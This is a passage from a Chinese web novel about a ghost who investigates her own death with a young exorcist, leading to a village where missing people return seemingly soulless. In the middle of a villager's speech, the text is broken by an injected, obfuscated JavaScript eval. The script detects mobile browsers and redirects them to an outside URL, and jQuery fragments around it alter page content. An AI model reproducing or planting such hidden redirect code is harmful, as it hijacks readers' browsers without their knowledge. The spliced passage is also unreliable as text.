当然,阮之秋在电话里也不只是问到了这个问题,除了我的问题外,她还拐弯抹角地问了一些其他的,最重要的当然是为什么这件事会被作为机密事件掩藏起来。 前三个人表示并不知情,最后一个人则表示不能作答。 “小阮,我跟你说实话,像是有些东西告诉你也无妨,但是这件事真的属于不能对外泄露一点的东西,追责起来,我是跑不了的。”电话那边的人语气很恳切地这样说着。 “我知道你还是很记挂苏吉光的死,但是这件事吧……” 阮之秋淡淡道:“其实今天我来A市有事,见到姚千了。他跟我说到了一些内情……只是我觉得太离谱,才来问问的。” 她说得如此平静笃定,令我也产生半秒钟的错愕,才意识到阮之秋是在诈对方,顺带将“泄露机密”的帽子扣在了姚千的头上。似乎是故意的。 谁知电话那头的人只是轻轻笑了一声。 “不会的,我还算了解姚千这个人。他对苏吉光那么在乎,哪怕是为了苏吉光,他也不会将这件事说……” 话语突然停住,电话两边都陷入平静,显然那人也意识到自己说漏了什么。 阮之秋愣住:“你的意思是,事情的真相,对小苏姐很不利?” “可,可是,”情绪激动下,她的话也磕磕绊绊起来,“她怎么会,她……” 手机里传来叹息:“她毕竟已经死了。好事坏事的,总之是与她没有关系了。” 说罢,对方挂掉了电话。 阮之秋看看通话界面,又看看我,按量手机屏幕:“我再打回去。” 我阻止她:“你再打他也不会说。” 阮之秋开始危险发言:“我知道他家住在哪里……” 终于轮到我打断她:“你要刑讯逼供?你可没有抹去别人记忆的灵能力。” 有这种灵能力的姚千也不会帮你。 阮之秋于是肩膀一松,像耳朵弯下来的小狗,睁着浅茶色的眼睛看我:“你不想知道真相吗,姐姐?” “当然想知道。”我说。 苏吉光的死,那些驱灵师的死,一切的真相,我都要知道。 也都会知道的。 58. 苏吉光漫长的一天01 半夜,我正操纵片羽在纸条上控制力度,艰难撰写留言,不幸被阮之秋当场抓获。 我有些惊讶于回到卧室的阮之秋是怎么知道的,阮之秋则指指客厅角落:“姐姐,这栋房子里有监控,房主已经把查看的链接发给我了。” “……” 我尚未结束自己的无语,阮之秋又道:“当然,我注意监控,也是因为我觉得姐姐你会不告而别。” 她笑容里有些苦涩:“我是不是还挺了解你的?” 我有些无法作答,其实我自己也并不完全了解自己。 阮之秋看着我,接着道:“我来A市接这个任务不是巧合,在论坛看到有关你的帖子时,我就想来找你了。” “但我当时正接了一个任务要完成。刚从灵域出来,我就订了来这儿的机票,还恰好看到了这个和你相关的任务。”她又笑了一下,“要不是有这个任务,我还不知道什么时候能见到你。姚千那家伙根本什么都不说。” 她又补充一句,“我就知道他不是什么好东西。” 我忍不住觉得好笑:“你真的很讨厌他。” “我一直看他很不爽。”阮之秋冷笑,“谁看不出来他为什么要跟在你身边,凭着那张好看的脸讨各种好处。他那种灵能力,如果找不到愿意培养他的人,根本就是成长不起来的。” “没有你,他不可能得到现在的地位。但是你却死了,不但死了,死因还跟他息息相关。”她冷着脸下结论,“我没有办法不讨厌他。” 眼前阮之秋说得斩钉截铁,她的情绪总是显露得十分清晰,因而显得生动真实。令我在认识她短短一天多时间里,便自然地将她划进熟人范畴里。 阮之秋说着说着,又将话题拉回正轨:“我这次回来就是为了你,姐姐。如果你想要找你死去的真相,那就带上我吧,带上一个人,也方便很多,对不对?” “如果你担心我不是好人,”她急切地补充,“我可以带你去问,或者用什么其他的办法去联系每一个认识咱俩的人——没有人会说我可能害你。” 我倒是并不担心她会害我。 “那就事先约定好,”我道,“任何情况下,都要听我指挥,可以做到吗?” 阮之秋噗嗤一声笑出来:“好熟悉的话。姐姐,你不记得了,我一直是很听话的。” 不知是回忆或某种刻在灵魂里的习惯驱使,我伸手摸了摸她的头。 …… A市很大,作为C省的省会,A市光县级市就有三个。 我死去的地方,虽然在A市,但想要到那里附近,开车需要3个小时。阮之秋租了一辆车,带我过去,我附在副驾驶座上,听她断断续续说了一路的话。 我突然道:“说起来,我死掉之前,和你一起相处的时间长吗?” 阮之秋可疑地沉默了两秒,赶在拐弯之前打了转向灯,“还好,一般吧。” “不是太长吧?”我随口道,“很难想象我们天天待在一起相处。” 阮之秋立刻挤出略显造作的哭腔:“这就开始嫌弃我了吗?” “……不是,”我好笑道,“我只是随口问问。” “我们毕竟都是学生啊,大多数时间都在各自的学校,姐姐你又很忙,满世界到处跑。后来我也没有上c大,去了别的大学。”阮之秋着急地补上一句,“我们虽然见面不多,但是互相还是会发很多消息的!” “唔。”我点点头,脑袋伸到固定在前面的手机屏幕前,观察导航,“是不是快要到了?” 车子已经彻底偏离主干道,来到了一条双向单行道上,路不算太好,连我一个残灵都感到轻微的颠簸。阮之秋速度不减,面色淡定,看上去驾驶技术很好。 我前阵子刚好在网上刷到有关于汽车驾驶方面的教学短视频,这会儿好奇地看向车子的仪表盘:“五十公里了,这种地方限速是五十吗?” “三十吧。”阮之秋道,随后又说,“这里不会有监控的。” 我:“……这么理直气壮吗?” 之前阮之秋大睡一觉加上简单收拾行李,我们出发时已经是今天的下午时分,接近目的地时,天色已经黯淡下来。如果我是人类,大致能感受到温度降低与日落提前之间的自然联系。 可惜我只能通过视觉观察到秋冬的交际。 再开一阵子,已经到了明显的村落地带,附近一片皆是平原,能够一览无余地看到地平线与天空的连接,圆日西沉,在地面溅起层叠的余韵。 这对我这种城市残灵来说,这是相对少见的景象。 “我不是第一次来这里了。”阮之秋这个话题来得很突然。 我眨眨眼,看她继续道,“之前我托人关注过,你刚走的那几年,驱协派过几波人来这里,听说是要做什么调查,想来是没有什么收获。于是我也来过一次,结果差不多。” “既然我来了,这次多半是会有收获的。”我说出十分自负的言论。 阮之秋笑笑,不反驳我,将车子停在村头附近,说:“来吧姐姐,今晚先在这里找地方休息一下,顺便了解一下那个传闻有没有新鲜的进展。” 村子很小,车子停下来就招惹了几位年长村民,阮之秋拎了个背包下车,与几位老人热情交谈,仿佛已经来了这里好几次,不但很快敲定了今晚的食宿问题,几句话又顺滑将话题转移到她口中的那个“传闻”。 “哎呀,”老人坐在木凳上,一拍大腿,权当开讲前的惊堂木。 “小姑娘你不知道,那可是相当吓人。” 阮之秋连连点头,摆出标准的期待表情。 “根本没人知道那是什么地方……多少人去了,来了,说不清楚,根本就说不清楚啊……” 阮之秋:“嗯嗯嗯。” 另一人接上:“这几年了,去过的人越来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721045|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越多。我跟你说啊,这人看上去是回来了,其实啊,魂还丢在那里面呢!” 阮之秋:“噢噢噢。” “茶不思,饭不想啊,有时候叫也叫不应,你所说,是不是魂折在里面了?” 阮之秋:“是是是。” “诶,就去年,我们村那个老余家的孙子,不就进去了?可能是年纪小,去了不长时间就出来了,哎呀出来之后变化那叫一个大啊。不过,可能小孩聪明,出来还能说点有用的。” 阮之秋脸上终于露出应和之外的表情,热切些许:“那他说了什么?” “他说,他说……”老人朝天上翻了翻眼睛,回忆片刻。 “他说,自己不是那里真正的主人。” 吃完晚饭,借宿人家给阮之秋收拾了一张床铺,她坐进床上,用手指划着手机感慨道:“基础建设发展得真好,之前来的时候信号还很差,现在也有三格了。” 我脑子里还心心念念着刚才听到的故事,将听到的言论左右拼凑一番,也算是将整个情况大概了解清楚了。 从十多年前,村子附近便开始有人失踪。只是失踪的人数并不多,故而虽然有古怪传闻,却也能用各种理由解释过去。 只是从大概六七年前,失踪的人突然回来了。 离家半年甚至一年未回,家人自然十分担心,询问其情况时,却发现回来的人变得十分奇怪。 用村口老太的话说,这人就好像是把魂丢在了外面,眼睛不看人,说话不应声,嘴里念念叨叨的好像还是怀念外面不知什么地方。 也有人离家出走,但是过不几天,又会被家人在山野田埂间发现,带回来。 失踪的人只会失踪一次,想再回去那地方,也回不去了。 传闻听到这里,我脑中已经有了基本的推断。 “听起来不算复杂。这附近出现了一个灵域,失踪者是便被这个灵域吞掉了。至于魂不守舍则是因为魂灵受损,我在其他灵域中见过这样的情况。” 阮之秋听完我的推测,笑眯眯道:“确实,基于已知情况,这是最合理的解释。但是姐姐,有一些情况,你还不了解。” “比如?” “比如说,虽然失踪的人数并不算很多,但确实相对于其他地方略显异常。所以不单是因为导致姐姐死亡的八二一事件,在此之前,驱协中心在这里做过几次大范围排查,都没有找到灵域存在的痕迹。” 我挑挑眉:“很简单啊,应该和我们之前遇到的那个一样,是一个可移动的灵域,找不到也是合乎情理。” 阮之秋笑笑:“确实有这种可能。” “还有呢?”我问。 “还有就是,我亲自去看过两个失踪后回来的受害者。”阮之秋道,“表现确实如同传闻所说,答非所问,像是已经失去了理智。” “但是经过我的确认,他们的魂灵都是完整的。”